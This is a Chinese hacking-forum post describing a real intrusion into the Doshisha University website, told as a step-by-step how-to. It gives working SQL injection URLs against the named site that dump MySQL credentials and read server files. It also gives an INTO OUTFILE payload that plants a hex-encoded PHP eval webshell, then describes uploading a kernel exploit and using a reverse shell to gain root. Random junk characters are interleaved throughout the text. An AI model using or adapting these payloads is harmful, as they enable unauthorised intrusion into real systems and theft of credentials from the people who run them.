中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
! U/ U6 p  q# K6 p! R% i# Q  I3 t7 x/ H9 x0 R* K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+ d" Q6 C$ F& d4 J
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ c0 C) B2 l$ S; _, N
5 R( T4 A0 e' S! |! m  T
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
" l2 k/ A( u! }8 A" ?& F% e  k. g
8 r" x, G; [0 L: ?

# Y# Y; c* N$ m3 F7 j//@@datadir为数据库文件路径 ( J3 X' m5 \) t

7 c; ~/ P9 A: _# a4 H( F: n5 C7 }" r' i% R
//load_file读取网站容器apache的配置文件
1 V* v, r; k6 k; n+ q2 L7 x
5 H# Z* {7 I: P- `7 O4 V. {) J2 Q8 E
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 : O3 [. d$ k) k- U" m
复制代码
1 g' ?6 k# W8 J
& |( V! j& l! }7 _: M  b1 M虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。# K+ E4 s5 {/ D' w; k* M9 h

) o6 j; T9 l9 w: N) |而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, g6 [! z6 _) _6 ^(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
  k, G  v1 o7 t9 X- }# O( A+ f: L3 p
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
& J8 C( M* X6 ]9 J8 Q8 q5 i7 ?如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 a$ V- b# K; }& p. i: S6 l. t* s, ]
/ m  |" g: M6 G4 y8 I既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/( p' H- L/ B9 u& ~% R0 h0 J4 E
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。0 ~8 E& Y& r( U8 z
直接写一句话:
/ T- l) V& {! e; Y) P* E( c/ }( B$ w" W& x% P" P5 _. Y, U- a
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#- X3 W# x1 H# u+ M' H4 ^
) _7 M" b+ e% T& n
1 y0 T, w' F9 B, d

/ Q2 n5 Q5 \! p) L//最后的#是为了闭合前面的语句
# n& |" e1 E3 X' t! t5 D  a# w9 W& C # b; F3 [2 J# o2 C- ?
. o+ s: M, J* H0 H$ P& @( o( t
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E : H( M& l5 d: X' q9 ?

5 o% M" r$ L& X+ o7 i" r
  U$ H" N; F. ]: _, h为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
' \7 ~& C0 W" f8 F) t* q8 k - Y' }) V2 T/ H6 Z* |! M/ N7 F
0 o, ], r  j& u" \" M
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
: [% f, z6 Y0 F- g. [! o
  N: I& c- ]* w) e# W0 Z- O$ P, i, L3 r- O
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
- E3 m! H- K- M' ^  D+ H//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- n2 @0 C* v9 f  s+ a% `- _复制代码8 p0 E* T) x2 T1 \- o0 M
7 z; C, {! c3 W& m3 t* g" _
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有: Q9 f0 r0 Y7 ?4 `( H2 ?1 _
通过上述注入语句,我们就得到了一句话木马:  C: d& L2 `( Q: x8 R
. }; t0 M9 ?$ H2 {0 l$ R8 E7 S# Y

* d" f% R3 M2 P/ |8 D' R- Z
9 ?# r, ~1 {  H/ N5 m: e  q# F) v, L / g' s7 E/ W& D$ [* f6 O9 W

) o2 J6 S0 d! l. W% u  Khttp://www.doshisha.ac.jp/english/engnews_img/aa.php . x4 D6 X4 O/ H7 f$ R
复制代码2 W* r) |! F" u6 d
* c7 T8 ]! F4 R$ P, d' `8 _8 L: O
用菜刀连接,密码是cmd,如图所示:. c* ]$ ^' X7 L8 q* @
然后在命令提示行里看了一下,现在的权限是:
! W9 h7 O0 }3 O! s- V3 E; J' @/ C& |9 c5 f# K) w7 K
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。7 D3 m: @& ?& M& k1 ]. z
好在赋权给这个文件夹不需要root,直接执行赋权语句:! Q6 ~: c6 {9 ~4 k

4 W/ j- e: L9 d + m! l* O  j7 g% V1 b

6 c# p$ v3 ?6 b  n # W- J  S9 h' Z: A6 r3 J
0 D7 l0 L; p5 ~7 m& S) `
chmod +x /tmp/ 4 }. D" \3 ]  `( j
复制代码6 u- }/ Q# T9 |( _9 l1 ^( b" ]
  M% j/ W! G; W4 N# W$ O: X. I9 ~) {
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行6 Y3 r# W0 L& Q( p; r. f
然后就查了一下内核版本:2 P% i/ k9 o( f+ Q  D" d9 m) \) _
1 e: x2 A; e+ `8 y$ n7 B

" |5 M# B) I$ X9 X$ R& _8 l9 \! Y5 v6 t+ s. L7 u8 m
" k+ j' {% \* \& k, c' T7 i
' V+ D8 k6 N' s, }+ i1 e: Q8 P
uname-a ) s9 F" `$ E8 Q
8 l" h: D* _' [, \: U
) m- P! n; y4 F$ @# B+ O/ A
//其实lsb_release -a ; V* i6 v/ i9 [2 X( \3 i! k
复制代码
. ^- r4 w" H2 W$ t9 W; O* `% w0 |- G% V# \
如图所示:
8 S6 |( G: ], E
2 v# u( n0 \% r2 p内核版本:linux mainz1 2.6.28-194.e15
& p3 }& ^' w- ?系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)/ U' m6 l8 D6 |7 C+ G+ H0 g
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" Y3 V7 r& n/ k& f2 _5 ~! D1 S$ v; n! A( Q1 {
然后给予执行权限7 N/ _# k* z/ T3 \% R" |
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样2 ^- _0 J  J% R" J$ Z' X( P+ \

0 q" q, ~- i# R" _0 p8 r* H* f 0 Z9 ]+ H+ t$ h0 }# M8 y$ l* T
+ Z- v, d# h" G, F5 d

/ P0 f0 r- b  g$ c. m8 I& J; K4 K6 C' g) W
chmod +x /tmp/2.6.18-194   T- `& V; F& Z9 z  g" A' p
复制代码 然后直接执行!~
- i9 i: R% V/ V" {( u: [: I' S
8 h8 ~, w% I* z! O( ?总结:  Q2 v  d, C) s2 j8 T: Z2 R9 E
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了1 l" Z, x" G  {6 f) [
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) v# _- o# C/ f
% f# n8 A9 J( n




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2